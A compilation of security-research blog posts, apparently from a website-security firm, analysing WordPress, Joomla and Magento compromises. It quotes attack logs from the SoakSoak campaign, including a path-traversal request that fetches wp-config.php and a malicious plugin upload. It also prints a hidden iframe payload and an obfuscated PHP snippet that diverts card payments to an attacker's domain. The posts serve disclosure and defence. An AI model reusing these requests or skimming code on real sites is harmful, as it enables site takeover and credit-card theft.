RevSlider Vulnerability Leads To Massive WordPress SoakSoak Compromise

Yesterday we disclosed a large malware campaign targeting and compromising over 100,000 WordPress sites, and growing by the hour. It was named SoakSoak due to the first domain used in the malware redirection path (

After a bit more time investigating this issue, we were able to confirm that the attack vector is the RevSlider plugin. We disclosed a serious vulnerability with this plugin a few months ago, it seems that many webmasters have either not heard of or did not take seriously the vulnerability.

The biggest issue is that the RevSlider plugin is a premium plugin, it’s not something everyone can easily upgrade and that in itself becomes a disaster for website owner. Some website owners don’t even know they have it as it’s been packaged and bundled into their themes. We’re currently remediating thousands of sites and when engaging with our clients many had no idea the plugin was even within their environment.

The Attack Sequence

We have investigated thousands of compromised sites with this injection and based on the logs, we are able to confirm the exact attack vector being targeted.

  1. Discovery: There appears to be an initial reconnaissance scan occurring where the attacker[s] are looking to see if the file exists. Snippet of the code
  2. – – [14/Dec/2014:09:59:35 -0500] “GET /wp-content/plugins/revslider/rs-plugin/font/revicons.eot HTTP/1.1″ 200 – – [14/Dec/2014:00:12:07 -0500] “GET /wp-admin/admin-ajax.php?action=revslider_show_image&img=../wp-config.php HTTP/1.0″ 202

    The first entry looks for the revicons.eot files and the second one attempts to use one of the Revslider vulnerabilities to download the wp-config.php file.

  3. Exploit:If the discovery phase is successful and they find a site using Revslider, they use a second vulnerability in Revslider and attempt to upload a malicious theme to the site: – – [14/Dec/2014:04:31:28 -0500] “POST /wp-admin/admin-ajax.php HTTP/1.1″ 200 4183 “-”
    Content-Disposition: form-data; revslider_ajax_action
    update_plugin; name=”update_file”;…

  4. Take over: If the exploit is successful, they inject the popular Filesman backdoor into the website, which they access directly at /wp-content/plugins/revslider/temp/update_extract/revslider/update.php this provides full access by circumventing existing access controls: – – [14/Dec/2014:04:31:28 -0500] “GET /wp-content/plugins/revslider/temp/update_extract/revslider/update.php HTTP/1.1″ 200 5287
    “-” “Mozilla/5.0 (Windows NT 5.1; rv:33.0) Gecko/20100101 Firefox/33.0″

From there, they inject a secondary backdoor that modifies the swfobject.js file and injects the malware redirecting site visitors to

This campaign is also making use of a number of new backdoor payloads, some are being injected into images to further assist evasion and others are being used to inject new administrator users into the WordPress installs, giving them even more control long term. Some users are clearing infections and getting reinfected within minutes and the reason is because of the complex nature of the payloads and improper cleaning efforts.

Do not just clean these 2 files!

We are hearing a lot of recommendations online to just replace the swfobject.js and template-loader.php files to remove the infection.

It does remove the infection, but does not address the left over backdoors and initial entry points. The website will be reinfected quickly. If you are affected by this, expect to find yourself riddled with backdoors and infections, you have to not only clean, but also stop all malicious attacks. You can stop malicious attacks through the use of a Website Firewall, ours or someone else, just use a Firewall, a real one preferably.

Backdoor Evasion Using Encrypted Content

A few weeks ago on the Sucuri Research Labs we mentioned a new type of malware injection that does not use base64_decode, and instead conceals itself as a variable and is built with a combination of “base_” + (32*2) + “_decode”. This is the part of the code where it is hidden:


Any tool that looks for eval, followed by base64_decode, or just flags on any base64_decode usage, will not find it.

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Malware iFrame Campaign from Sytes(.)net

For the last few weeks we have been tracking a large malframe (malicious iframe) campaign that has been injecting iframes from random domains from sytes(.)net into compromised sites.

Malicious iframe injection is nothing new, the bad guys have been using domains for a long time. But what is catching our attention is how often these domains are changing and how short a life-span they have.

This is the payload being added to the compromised sites:

<iframe src="httX:// /cart/manuallogin/linktous.php?guardian=82" 
    width=1 height=1 style="visibility: hidden"></iframe>

As you can see, it is a normal iframe injection. But that domain will go offline in approximately 30 minutes and get replaced by a new one. Here is a list we compiled over the past 24 hours:

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WordPress Database Table and wp_head Injections

There are multiple places where a malware injection can be hidden on a web site. On WordPress, for example, it can be hidden inside the core files, themes, plugins, .htaccess and on the database. More often than not, the malware uses a combination of those which makes it harder to detect.

Today, we will talk about a database injection that we are seeing often lately, that uses wp_head() to display the malware to anyone visiting a compromised web site.

Database Injection

WordPress offers multiple API calls to manage and read the content from inside the database. One of those calls is the get_option function that returns a value from the wp_options table. The wp_options table is widely used by many plugins and themes to store long term data, and is generally full of entries making it a good place to hide malicious code.

If you don’t believe me and you use WordPress, just list the wp_options table from your site to see what I am talking about.

Here’s what we are finding inside the wp_options table under “page_option” on some compromised sites:

... very long ..

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Joomla Hacks – Part I – Phishing

Joomla is a very popular open source CMS, dominating approximately 10% of the website market. While great for them, horrible for many others, as being popular often paints a big target on your back, at least when it comes to CMS applications.

Lately though, Joomla has had a bad spell, in which a vulnerability was found that was allowing for arbitrary PHP uploads via core. Any site that is not properly updated (or patched), can be an easily compromised. This applies to any website running Joomla 1.0.x, 1.5.x and the 1.6 and 1.7 branches, each one needs to be updated to the supported 2.5 or 3.0. Once that is supported, they need to be updated again to the latest 3.1.5 or 2.5.14 versions.

Unfortunately for Joomla users, the upgrade path is perhaps its weakest link. The reverse compatibility issues are so severe in the various branches that it plays right into the attackers objectives facilitating sever vulnerabilities, allowing them to have wider impacts across the website ecosystem. Because of this, we will share in this post one very specific method attackers are using to perform nefarious acts using the websites you visit or own, a little something known as Phishing.

  • Part I – Phishing injection

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Open Source Backdoor – Copyrighted Under GNU GPL

Malware code can be very small, and the impact can be very severe! In our daily tasks we find a lot of web-based malware that varies in size and impact. Some of the malware is well known and very easy to detect, others not so much, but this one is very interesting.

Open Source GNU

Here’s the backdoor, can you see what it’s doing?

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More Creative Backdoors – Using Filename Typos

When a site gets compromised, one thing we know for sure is that the attackers will leave some piece of malware in there to allow them access back to the site. We call this type of control capability a backdoor.

Backdoors are very hard to find because they don’t have to be linked anywhere in the site, they can be very small, and can be easily confused with “normal” code. Some of them have passwords, some are heavily encrypted/encoded and can be anywhere in your site.

As part of our job remediating (cleaning) websites, we get to see all types of backdoors. One thing we are noticing is how the attackers are getting more creative each day, always trying to find ways to be more “discrete”. They often mix the backdoor files or code with core website files so that they won’t be noticed easily.

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HideMeBetter – SPAM injection Variant

Compromised sites being injected with SPAM SEO is something we deal very often. A few months ago we wrote about a wave of SPAM injections known as HideMe.

However, the bad guys are always getting more and more “creative”, and they’ve developed a better version of that SPAM, called “HideMeBetter”. Yes, that’s their own naming scheme.

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Phishing 2.0 – Credit Card Redirection on Compromised Sites

We have seen it all when it comes to compromised sites: from silly defacements, to malware, spam, phishing and all sorts of injections. However, the bad guys are always looking to maximize their profits when they hack a site. Especially when it is an e-commerce site that processes credit cards online.

Credit Card Redirection

A new trick we are seeing being used on compromised e-commerce sites is credit card redirection. The attackers modify the flow of the payment process so that instead of just processing the card, they redirect all payment details to a domain they own so they can steal the card details.

This is often done very stealthy, with minimal changes to the site. Credit cards are very valuable in the black market, so the attackers try to stay on as long as possible without being detected.

Magento Redirection

Because of the nature of Magento websites, they are a big target. We are seeing sites having the credit card processing file modified to either email the credit card details or redirect them to a new domain. In this specific case, the file “app/code/community/MageBase/DpsPaymentExpress/Model/Method/Pxpay.php” (use for PaymentExpress payment handling) was modified with this code:

$oo = base64_decode(‘cGF5bWVudGV4cHJlc3M=’); $_oo = base64_decode("cGF5bWVudGlleHByZXNz’);$_is = base64_decode("c2Vzc19pZA==’);
$_oi = base64_decode("cHJlZ19yZXBsYWNl’);
$responseURI = $_oi(‘/’.$oo.’/’,$_oo,strval($responseXml->URI));

Which once decoded, replaces every occurrence of paymentexpress for paymentiexpress (see extra i). This forces the payment processing to be tunneled here: (see the i again)

Instead of the real URL:

This redirection forces all the transaction data, including credit card details (name, address, CC and CVV), through their malicious server, in turn allowing the data to be stolen by the bad guys. Phishing

The domain was just registered a few days ago using whois privacy:

Registration Service Provided By:
Registered through: eNom, Inc.
Creation date: 18 Jul 2013 18:02:00
Expiration date: 18 Jul 2014 18:02:00

And is currently live and not blacklisted by anyone (except us now). It has a proper SSL certificate (by RapidSSL) and everything that makes a trusted worthy phishing page.

What is also interesting is this new evolution of phishing, so that instead of tricking users into clicking into a bad url, it tricks the site itself to redirect the users information there.

Malware Hidden Inside JPG EXIF Headers

A few days ago, Peter Gramantik from our research team found a very interesting backdoor on a compromised site. This backdoor didn’t rely on the normal patterns to hide its content (like base64/gzip encoding), but stored its data in the EXIF headers of a JPEG image. It also used the exif_read_data and preg_replace PHP functions to read the headers and execute itself.

Technical Details

The backdoor is divided into two parts. The first part is a mix of the exif_read_data function to read the image headers and the preg_replace function to execute the content. This is what we found in the compromised site:

$exif = exif_read_data('/homepages/clientsitepath/images/stories/food/bun.jpg');

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